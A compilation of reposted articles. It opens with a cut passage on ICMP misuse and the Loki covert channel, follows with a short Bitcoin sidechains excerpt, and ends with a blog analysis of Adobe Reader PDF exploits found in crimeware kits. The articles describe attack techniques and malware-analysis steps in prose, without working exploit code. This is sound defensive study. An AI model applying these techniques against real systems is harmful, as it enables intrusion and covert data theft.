determine round-trip times. Although the payload is often timing information, there is no check by any device as to the content of the data. So, as it turns out, this amount of data can also be arbitrary in content as well. Therein lies the covert channel. Most network devices do not filter the contents of ICMP Echo traffic. They simply pass them, drop them, or return them. The trojan packets themselves are masqueraded as common ICMP Echo traffic. If a host is compromised and a Loki server is installed, it can response to traffic send to it by a Loki client. Because the programs use ICMP Echo Reply packets for communication, it will be very difficult (if not impossible) to block it without breaking most Internet programs that rely on ICMP. With a proper implementation, the channel can go completely undetected for the duration of its existence. Detection can be difficult. If you know what to look for, you may find that the channel is being used on your system. However, knowing when to look, where to look, and the mere fact that you should be looking all have to be in place. A surplus of ICMP Echo Reply packets with a garbled payload can be ready indication the channel is in use. More information on the Loki project can be obtained in [7]. 5. Filtering ICMP Traffic and the Challenge for the IDS Network devices requires ICMP Messages for communications. ICMP is a protocol that is supposed to be used to alert hosts of problem conditions or exchange messages. However, using it in a malicious manner allows one to dig out host information and network topology. To use a Network Intrusion Detection System to actively monitor the network for malicious ICMP traffic is laborious. Given this, appropriate filtering of ICMP traffic should be done to minimize the potential threat. It is therefore important to understanding how operating systems response to ICMP Messages. This will allow us to determine what type of ICMP Messages should only be allow in and out of the network. With appropriate configuration of the packet filtering device to block unnecessary ICMP Messages, potential threats resulting from ICMP Messages can be reduced. This, however, should be done wisely and selectively. For example, incoming “ICMP Error Message, Fragmentation Needed but Don’t Fragment Set”, will be necessary to inform the internal host on such errors and to adjust the datagrams accordingly. Even with proper filtering of ICMP traffic, NIDS should still be deployed to monitor the kind of ICMP activities. The challenge of the NIDS will be have accurate signatures to detect malicious ICMP traffic. Host-based IDS is another option. Nevertheless, it still needs “inputs” to monitor the traffic accurately. Ultimately, human will be required to perform the final analysis of the IDS detects to determine whether detects are legitimate or hostile. References: [1] Ofir Arkin, ICMP Usage in Scanning – The Complete Know How, ??????????? [2] Stephen Northcutt and Judy Novak, Network Intrusion Detection [3] ICMP Parameters Internet Control Message Protocol (ICMP) Parameters [4] RFC 792 Internet Control Message Protocol http://www.ietf.org/rfc/rfc0792.txt [5] Craig Huegen, The Latest in Denial of Service Attacks: 'Smurfing': Description and Information to Minimize Effects, http://www.pentics.net/denial-of-service/white-papers/smurf.cgi [6] David Dittrich, The “Tribe Flood Network” Distributed Denial of Service Attack Tool, http://staff.washington.edu/dittrich/misc/tfn.analysis [7] Loki Project, http://www.phrack.org/show.php?p=49&a=6 [8] RFC 1122 Requirements for Internet Hosts – Communication Layers, http://www.ietf.org/rfc/rfc1122.txt [9] SING utility, SING | Free System Administration software downloads at SourceForge.net [10] HPING2 utility, hping2 | Free Home & Education software downloads at SourceForge.net [11] NMAP, Nmap - Free Security Scanner For Network Exploration & Security Audits. Sursa: https://www.sans.org/security-resources/idfaq/icmp_misuse.php

[h=1]Bitcoin 2.0: Unleash The Sidechains[/h] “Cryptocurrencies will create a fifth protocol layer powering the next generation of the Internet,” says Naval Ravikant. “Our 2014 fund will be built during the blockchain cycle,” concurs Fred Wilson. And Andreessen Horowitz have very visibly doubled down on Bitcoin. Even if you don’t believe in Bitcoin as a currency, and I’ll grant there’s plenty to be skeptical about, you should be thinking: huh, a lot of extremely smart and successful people think that its underlying technology is a pretty big deal. But as I wrote myself just a few weeks ago, there’s a big difference between blockchain technology and Bitcoin itself, right? …Maybe not. A brief technical refresher: “blockchains” are the distributed-consensus technology introduced to the world by the mysterious Satoshi Nakamoto, wherein a peer-to-peer network is used to codify and cryptographically verify transactions, without any central authority. What’s more, transactions can be orchestrated by programmable contracts. Bitcoin is both the first and most successful blockchain application, but there are many, many other “cryptocurrencies,” known as “altcoins.” What’s more, there are numerous other, non-currency applications being built on new blockchains, notably Namecoin and Ethereum, and several proposals for expanding and evolving Bitcoin itself, eg ZeroCoin, MasterCoin, Colored Coins, etc. Articol complet: Bitcoin 2.0: Unleash The Sidechains | TechCrunch

Document-Based Exploits (Part II) Several factors make Adobe Reader an attractive target for exploitation to get malicious code run on a target machine. The first is the application has many buffers that can be populated by loading a document. Adobe Reader can also be thought of as an interpreter, executing whatever valid code might be contained within a document, using functions that potentially have vulnerabilities. The biggest factor is the software is common to most desktop computers, giving the largest number of potential victims, a problem that’s exacerbated by web browsers that automatically load PDFs in a browser plugin after fetching them from web servers. Here I’m going to illustrate that with two particular exploits I found in the CRIMEPACK, Blackhole, Eleanor and Phoenix crimeware kits (full write-up on these later). Collab.getIcon() Discovered (or publicly disclosed) in March 2009, the Collab.getIcon() method/function vulnerability appears to be specific to Adobe Reader, and the exploit must be implemented as a JavaScript call to this function. According to the advisories the exploit is a typical stack overflow through a malformed call to getIcon(), and this allows arbitrary code execution – a typical way of changing the Instruction Pointer value to the address of some malicious code. An example of this and a copy of the vulnerable application (for Windows users) are available from the Offensive Security exploit database (number 9579). The exploit is also available as a Metasploit module. We’re looking for two things within a malicious PDF: something that causes an exception, and a payload that executes when the exception occurs. So, if we run the strings utility on an example PDF from SecurityFocus… where the hell is the exploit? Where is the getIcon() request for that matter? The best place to start is by looking at the file’s structure and layout. PDFs are self-referencing, that is each section is an object marked by a reference number such as 10, 20, 30, etc. The contents of each object can also contain a reference to another object. In the SecurityFocus PDF, one section, 30, references some JavaScript in another section, 70R: By the way, I’m using the SecurityFocus example because the references within the actual crimware PDF are also obfuscated. Looking further through the code, at the referenced object, some random characters are found. This, I believe, is the exploit and payload. However, it’s unintelligible because the content of that section is compressed and obfuscated, which enables the malicious code to get past various intrusion detection/prevention methods. For a while it would also have made reverse-engineering tricky because the tools were less readily available. Obfuscated code is indicated by the ‘/Filter /FlateDecode‘ string. To uncompress/decode this section, I used qpdf. Since this doesn’t work on the SecurityFocus sample, I ran qpdf on the actual crimeware PDF instead: $qpdf --stream-data=uncompress geticon.pdf 3rdattempt.pdf The output file contains the unobfuscated exploit and its payload, and the following section is instantly recognisable as an array buffering the payload: Of course, the payload is unreadable as the strings utility is attempting to convert hex shellcodes into ASCII text. To get those, the PDF must be run through a hex editor or something like Bokken. Unfortunately the shellcode is OS-specific and I wasn’t using a Windows machine, so I didn’t analyse it further. What we do already know is the payload results in the installation of a banking Trojan. The payload was buffered as an array for the exploit code itself, which is seen further down: util.printf() Problems with the printf() function in the C programming language are well-known. They aren’t necessarily caused by the developers of Adobe Reader, but instead it’s a vulnerability native to the C language, where the function doesn’t check the stack boundaries. Here the vulnrability might be in the C code underlying the JavaScript interpreter. A full description and an exploit attempt is published on the CORE Security site, and that works by overwriting the Structured Exception Handler address with that of another location where the shellcode is placed. Again, the malicious code is only executed with the privileges of whoever’s running the PDF reader. Conclusion As both exploits were found in three crimeware kits, it’s obvious their authors targeted something common to most desktop computers – Adobe Reader. The versions of CRIMEPACK, Blackhole and Eleanor being examined were all created around the same period, so they were either sold by the same group, or the exploits were proven the most effective for circulation among the crimeware authors. What’s the worst that can happen? Both exploits have already been out there for five years, and other vulnerabilities like them have been found since, so this post only gives a taste of what to expect in a crimeware kit. The impact of a successful exploit here depends on the credentials the Adobe Reader application is running under. If it’s a standard user account with limited privileges, the exploit would lead to only that account being initially compromised, although privilege escalation is always possible afterwards. The latter is unlikely, though, as the crimeware has obviously been developed to automate things as much as possible, and the attacker would have many compromised admin accounts. If the user has admin privileges at the time the application is exploited, the payload has full control of the system. As can be demonstrated using Metasploit, the payload could be anything, including a reverse shell for remote access or code that fetched a malware installer. The people behind the crimeware were counting on some victims being logged into the admin account, or on being able to escalate their privileges after the account was compromised. Sursa: https://xerocrypt.wordpress.com/2014/04/19/document-based-exploits-part-ii/